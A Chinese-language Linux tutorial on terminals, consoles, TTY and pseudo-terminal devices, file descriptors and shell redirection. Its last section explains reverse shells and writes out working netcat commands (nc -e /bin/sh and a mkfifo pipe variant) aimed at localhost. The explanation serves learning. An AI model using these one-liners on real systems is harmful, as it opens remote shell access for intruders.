1. 终端

1.1. 硬件终端

计算机终端是可以用于将数据输入到计算机或计算系统中以及从中显示或打印数据的电子或机电硬件设备.

早期的终端实际上是一台独立于计算机的机器(teletypewriter,teleprinter, or TTY), 也被称为电传打字机, 下图是一个例子:

Teletype Model 33

不过这种终端现在基本上没人用了, 现在大家用的其实都是终端模拟器, 都是模拟出来的.

1.2. 控制台

控制台(console)是用于系统管理消息的文本输入和显示设备, 特别是来自 BIOS 或引导加载程序, 内核, init 系统和系统记录器的消息。
在计算机的早期时代, 终端与控制台是两种不同的东西. 简而言之, 控制台是计算机的基本设备, 而终端是外接设备.

但是现在这两者都是软件仿真出来的了…


我们可以认为, 在 Linux 系统启动或关闭时, 显示内核, 后台服务等相关信息的设备就是控制台.

也就是说, 涉及到系统相关底层信息的显示的设备被称为控制台, 其他的则称为终端.

当然, 实际上我们是不会过于区分这两者的…

在 Linux 中, 对应的设备文件是 /dev/console

此外, 只有在单用户模式下, 才允许用户登录控制台

1.3. TTY 设备

Linux 中的 TTY 设备包括虚拟控制台, 串口以及伪终端设备.

文件 /dev/tty 代表当前 TTY 设备.

文件 /dev/tty0 代表当前虚拟控制台.

因此, 现在所说的终端其实是包括控制台在内的.

2. 伪终端

伪终端(pseudo terminal, PTY)是一对伪设备, 其中一个被称为从设备(slave), 用于模拟硬件文本终端设备, 另一个主设备(master)作为主机, 它提供给终端模拟器进程控制从设备的方法.

实际上, 主设备是更接近用户显示器, 键盘的一端, 而从设备则是与 CLI(Command Line Interface, 命令行接口)程序交互的一端.

伪终端

以下内容如无特指, 均指的在 Linux 环境下

Linux 中有一命令 tty, 可用于打印连接到标准输入的终端的文件名

可以使用该命令确定当前所在的终端

例如我通过 ssh 连接到我的云主机:

1
2
$ tty
/dev/pts/0

这里的 dev/pts/0 其实是伪终端的从设备文件

我们可以直接向该文件输入数据, 信息会作为标准输入打印到当前终端

1
2
$ echo hello > /dev/pts/0
hello

除了 ssh 之外, 伪终端的使用场景还包括 xterm, gnome-terminal, X Window 等图形界面的终端模拟软件或 GUI, 终端复用程序如 tmux, screen

3. 文件重定向

3.1. 文件描述符

文件描述符(file descriptor, fd)是用于访问文件或其他输入/输出资源(例如管道或网络套接字)的抽象的指示符(句柄).

Integer value Name <unistd.h> symbolic constant <stdio.h> file stream
0 Standard input STDIN_FILENO stdin
1 Standard output STDOUT_FILENO stdout
2 Standard error STDERR_FILENO stderr

文件重定向正是基于标准输入输出流, 即 stdin, stdout, stderr

3.2. 重定向控制符

注意: 重定向控制符是从左到右解析执行的

  • < 表示将标准输入流重定向到目标文件

  • > 表示将标准输出流重定向到目标文件

    • (默认) 1> 表示将标准输出流重定向到目标文件
    • 2> 表示将标准错误流重定向到目标文件
  • >> 表示将标准输出流重定向(追加)到目标文件

    • (默认) 1>> 表示将标准输出流重定向(追加)到目标文件
    • 2>> 表示将标准错误流重定向追加到目标文件
  • >& 表示将标准输出和标准错误流重定向到目标文件

  • x>&y 表示将标准文件句柄为 x 重定向到句柄为 y 的文件流

重定向实际上类似于 C 语言 中的指针, 指向指定标准文件流所指向的目标文件对象

<< 以及很少见的here strings <<< 一般结合管道也可以实现同样的功能, 所以这里不说

例如:

1
2
3
$ cat test.txt | grep 'hello'
等同于
$ grep 'hello' < test.txt

3.3. 实例

test.sh
1
2
3
4
5
#!/bin/sh

echo "This is right message!"

lmg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# 将标准错误流重定向到文件名为'1'的文件
$ ./test.sh 2>1
This is right message!
##
# stdout(1) -> /dev/tty
# stderr(2) -> 1
##

##########################
# 将标准错误流重定向到标准输出流混合输出
# PS: 这也是默认不加重定向控制符的结果
$ ./test.sh 2>&1
This is right message!
./test.sh: line 5: lmg: command not found
##
# stdout(1) -> /dev/tty
# stderr(2) -> (stdout) -> /dev/tty
##

##########################
# 将标准输出和标准错误流重定向到文件名为'test.txt'的文件
$ ./test.sh >& test.txt
##
# stdout(1) -> test.txt
# stderr(2) -> (stdout) -> test.txt
##

##########################
# 与上一条命令功能相同
$ ./test.sh > test.txt 2>&1
##
# stdout(1) -> test.txt
# stderr(2) -> (stdout) -> test.txt
##

##########################
# 将标准错误流重定向到输出
# 而标准输出流重定向到文件名为'test.txt'的文件
$ ./test.sh 2>&1 > test.txt
##
# stderr(2) -> (stdout) -> /dev/tty
# stdout(1) -> test.txt
##

##########################
# 将标准输出流重定向到文件名为'right.txt'的文件
# 而标准错误流重定向到文件名为'wrong.txt'的文件
$ ./test.sh 1> right.txt 2> wrong.txt
##
# stdin(0) -> /dev/tty
# stdout(1) -> right.txt
# stderr(2) -> wrong.txt
##

4. 反弹 shell*

反弹 shell可以认为是反向的 telnet

可分为被控端与控制端两个角色

其中被控端相当于客户端, 向控制端主动发起请求, 给控制端提供本机的 shell 终端

控制端相当于服务端, 监听指定的 TCP/UDP 端口, 等待被控端主动连接

网上例子很多, 这里展示下如何通过 nc 进行反弹 shell

nc 如果支持 -e 选项, 则可以直接反弹 shell

1
2
3
4
[被控端]
$ nc -e /bin/sh 127.0.0.1 2222
[控制端 127.0.0.1]
$ nc -lvp 2222

不支持 -e 选项(一般是Netcat OpenBsd)得配合管道(使用 mkfifomknod 创建)进行反弹

1
2
3
4
5
[被控端]
$ rm -f /tmp/my_fifo; mkfifo /tmp/my_fifo
$ cat /tmp/my_fifo | /bin/sh -i 2>&1 | nc 127.0.0.1 2222 > /tmp/my_fifo
# 压缩成一条命令
$ rm -f /tmp/my_fifo; mkfifo /tmp/my_fifo; cat /tmp/my_fifo | /bin/sh -i 2>&1 | nc 127.0.0.1 2222 > /tmp/my_fifo

被控端这里利用了管道数据单向传输的特性, 读管道(cat), 然后再把 shell 的标准输出和错误流重定向到127.0.0.1:2222, 最后写入管道, 构成一个循环回路

1
2
[控制端 127.0.0.1]
$ nc -lvp 2222

类似的代码, 可以与正常的服务端和客户端进行对比

1
2
3
4
5
[服务端 127.0.0.1]
$ rm -f /tmp/my_fifo; mkfifo /tmp/my_fifo
$ cat /tmp/my_fifo | /bin/sh -i 2>&1 | nc -l 127.0.0.1 2222 > /tmp/my_fifo
# 压缩成一条命令
$ rm -f /tmp/my_fifo; mkfifo /tmp/my_fifo; cat /tmp/my_fifo | /bin/sh -i 2>&1 | nc -l 127.0.0.1 2222 > /tmp/my_fifo
1
2
[客户端]
$ nc 127.0.0.1 2222

评论